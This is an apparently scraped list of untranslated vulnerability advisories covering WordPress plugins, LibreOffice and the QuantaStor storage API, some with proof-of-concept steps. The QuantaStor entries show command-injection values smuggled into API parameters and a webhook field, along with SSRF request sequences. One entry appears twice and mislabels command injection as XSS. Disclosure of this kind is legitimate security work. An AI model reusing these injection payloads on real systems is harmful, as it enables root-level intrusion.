Vulnerabilidades

*** Pendiente de traducción *** The tagDiv Cloud Library WordPress plugin before 2.7 does not have authorisation and CSRF in an AJAX action accessible to both unauthenticated and authenticated users, allowing unauthenticated users to change arbitrary user metadata, which could lead to privilege escalation by setting themselves as an admin of the blog.

*** Pendiente de traducción *** A flaw was found in the Libreoffice package. An attacker can craft an odb containing a "database/script" file with a SCRIPT command where the contents of the file could be written to a new file whose location was determined by the attacker.

*** Pendiente de traducción *** The Companion Sitemap Generator WordPress plugin before 4.5.3 does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

*** Pendiente de traducción *** A missing nullptr-check in handle_ra_input can cause a nullptr-deref.

*** Pendiente de traducción *** This HTTP Headers WordPress plugin before 1.18.11 allows arbitrary data to be written to arbitrary files, leading to a Remote Code Execution vulnerability.

*** Pendiente de traducción *** The WP-Optimize WordPress plugin before 3.2.13, SrbTransLatin WordPress plugin before 2.4.1 use a third-party library that removes the escaping on some HTML characters, leading to a cross-site scripting vulnerability.

*** Pendiente de traducción *** An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.<br /> <br /> POC<br /> http:///qstorapi/storageSystemModify?storageSystem=&amp;newName=quantastor&amp;newDescription=;ls${IFS}-al&amp;newLocation=4&amp;newEnclosureLayoutId=5&amp;newDnsServerList=;ls${IFS}-al&amp;externalHostName=&amp;newNTPServerList=;ls${IFS}-al

*** Pendiente de traducción *** An attacker is able to launch a Reflected XSS attack using a crafted URL.<br /> <br /> POC:<br /> <br /> Visit the following URL<br /> https://:8153/qstorapi/echo?inputMessage=

*** Pendiente de traducción *** An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.<br /> <br /> POC<br /> <br /> Step 1: Prepare the SSRF with a request like this:<br /> <br /> GET /qstorapi/alertConfigSet?senderEmailAddress=a&amp;smtpServerIpAddress=BURPCOLLABHOST&amp;smtpServerPort=25&amp;smtpUsername=a&amp;smtpPassword=1&amp;smtpAuthType=1&amp;customerSupportEmailAddress=1&amp;poolFreeSpaceWarningThreshold=1&amp;poolFreeSpaceAlertThreshold=1&amp;poolFreeSpaceCriticalAlertThreshold=1&amp;pagerDutyServiceKey=1&amp;slackWebhookUrl=http://&amp;enableAlertTypes&amp;enableAlertTypes=1&amp;disableAlertTypes=1&amp;pauseAlertTypes=1&amp;mattermostWebhookUrl=http://<br /> HTTP/1.1<br /> <br /> Host: <br /> Accept-Encoding: gzip, deflate<br /> <br /> Accept: */*<br /> Accept-Language: en<br /> <br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36<br /> <br /> Connection: close<br /> <br /> authorization: Basic <br /> Content-Type: application/json<br /> <br /> Content-Length: 0<br /> <br /> Step 2: Trigger this alert with this request<br /> <br /> GET /qstorapi/alertRaise?title=test&amp;message=test&amp;severity=1 <br /> HTTP/1.1<br /> <br /> Host: <br /> Accept-Encoding: gzip, deflate<br /> <br /> Accept: */*<br /> <br /> Accept-Language: en<br /> <br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36<br /> <br /> Connection: close<br /> <br /> authorization: Basic <br /> Content-Type: application/json<br /> <br /> Content-Length: 1<br /> <br /> The post request received by looks like this:<br /> {<br />  <br /> ### Python FLASK stuff ####<br /> <br />  &amp;#39;endpoint&amp;#39;: &amp;#39;index&amp;#39;, <br />  <br /> &amp;#39;method&amp;#39;: &amp;#39;POST&amp;#39;, <br />  <br /> &amp;#39;cookies&amp;#39;: ImmutableMultiDict([]), <br />  <br /> ### END Python FLASK stuff ####<br /> <br />  <br /> &amp;#39;data&amp;#39;: b&amp;#39;{ <br />   "attachments": [ <br />    {<br /> <br />     "fallback": "[122] test / test.",<br /> <br />     "color": "#aa2222",<br /> <br />     "title": "[122] test",<br /> <br />     "text": "test",<br /> <br />     "fields": [   <br />      {    <br /> <br />       "title": "Alert Severity",<br />    <br />       "value": "CRITICAL",<br />    <br />       "short": false  <br />      },  {   <br />       "title": "Appliance",     <br />       "value": "quantastor (https://)",<br />     <br />       "short": true  <br /> <br />      },  {    <br /> <br />       "title": "System / Driver / Kernel Ver",    <br /> <br />       "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",    <br /> <br />       "short": false  <br /> <br />      },  {    <br /> <br />       "title": "System Startup",    <br /> <br />       "value": "Fri Aug  6 16-02-55 2021",    <br /> <br />       "short": true  <br /> <br />       },  {    <br /> <br />       "title": "SSID",    <br /> <br />       "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",    <br /> <br />       "short": true  <br /> <br />      },<br />     ],<br /> <br />     "footer": "QuantaStor Call-home Alert",<br /> <br />     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",<br /> <br />     "ts": 1628461774<br />    }<br />   ], <br />   "mrkdwn":true <br />  }&amp;#39;, <br />  #### FLASK REQUEST STUFF #####<br /> <br />  &amp;#39;headers&amp;#39;: {<br /> <br />   &amp;#39;Host&amp;#39;: &amp;#39;&amp;#39;, <br />   &amp;#39;User-Agent&amp;#39;: &amp;#39;curl/7.58.0&amp;#39;, <br />   &amp;#39;Accept&amp;#39;: &amp;#39;*/*&amp;#39;, <br />   &amp;#39;Content-Type&amp;#39;: &amp;#39;application/json&amp;#39;, <br />   &amp;#39;Content-Length&amp;#39;: &amp;#39;790&amp;#39;<br /> <br />  }, <br />  &amp;#39;args&amp;#39;: ImmutableMultiDict([]), <br />  &amp;#39;form&amp;#39;: ImmutableMultiDict([]), <br />  &amp;#39;remote_addr&amp;#39;: &amp;#39;217.103.63.173&amp;#39;, <br />  &amp;#39;path&amp;#39;: &amp;#39;/payload/58&amp;#39;, <br />  &amp;#39;whois_ip&amp;#39;: &amp;#39;TNF-AS, NL&amp;#39;<br /> }<br /> <br /> #### END FLASK REQUEST STUFF #####

*** Pendiente de traducción *** An authenticated attacker is able to create alerts that trigger a stored XSS attack.<br /> <br /> POC<br /> <br /> <br /> * go to the alert manager<br /> <br /> <br /> * open the ITSM tab<br /> * add a webhook with the URL/service token value <br /> <br /> &amp;#39; -h &amp;&amp; id | tee /tmp/ttttttddddssss #&amp;#39; (whitespaces are tab characters)<br /> <br /> <br /> * click add<br /> <br /> <br /> * click apply<br /> <br /> <br /> * create a test alert<br /> <br /> <br /> * The test alert will run the command <br /> <br /> “id | tee /tmp/ttttttddddssss” as root.<br /> <br /> <br /> * after the test alert inspect <br /> <br /> /tmp/ttttttddddssss it&amp;#39;ll contain the ids of the root user.

*** Pendiente de traducción *** A vulnerability, which was classified as problematic, has been found in View All Posts Page Plugin up to 0.9.0 on WordPress. This issue affects the function action_admin_notices_activation of the file view-all-posts-pages.php. The manipulation leads to cross site scripting. The attack may be initiated remotely. Upgrading to version 0.9.1 is able to address this issue. The patch is named bf914f3a59063fa4df8fd4925ae18a5d852396d7. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-233363.

*** Pendiente de traducción *** An authenticated attacker is able to create alerts that trigger a stored XSS attack.<br /> <br /> POC<br /> <br /> <br /> * go to the alert manager<br /> <br /> <br /> * open the ITSM tab<br /> * add a webhook with the URL/service token value <br /> <br /> &amp;#39; -h &amp;&amp; id | tee /tmp/ttttttddddssss #&amp;#39; (whitespaces are tab characters)<br /> <br /> <br /> * click add<br /> <br /> <br /> * click apply<br /> <br /> <br /> * create a test alert<br /> <br /> <br /> * The test alert will run the command <br /> <br /> “id | tee /tmp/ttttttddddssss” as root.<br /> <br /> <br /> * after the test alert inspect <br /> <br /> /tmp/ttttttddddssss it&amp;#39;ll contain the ids of the root user.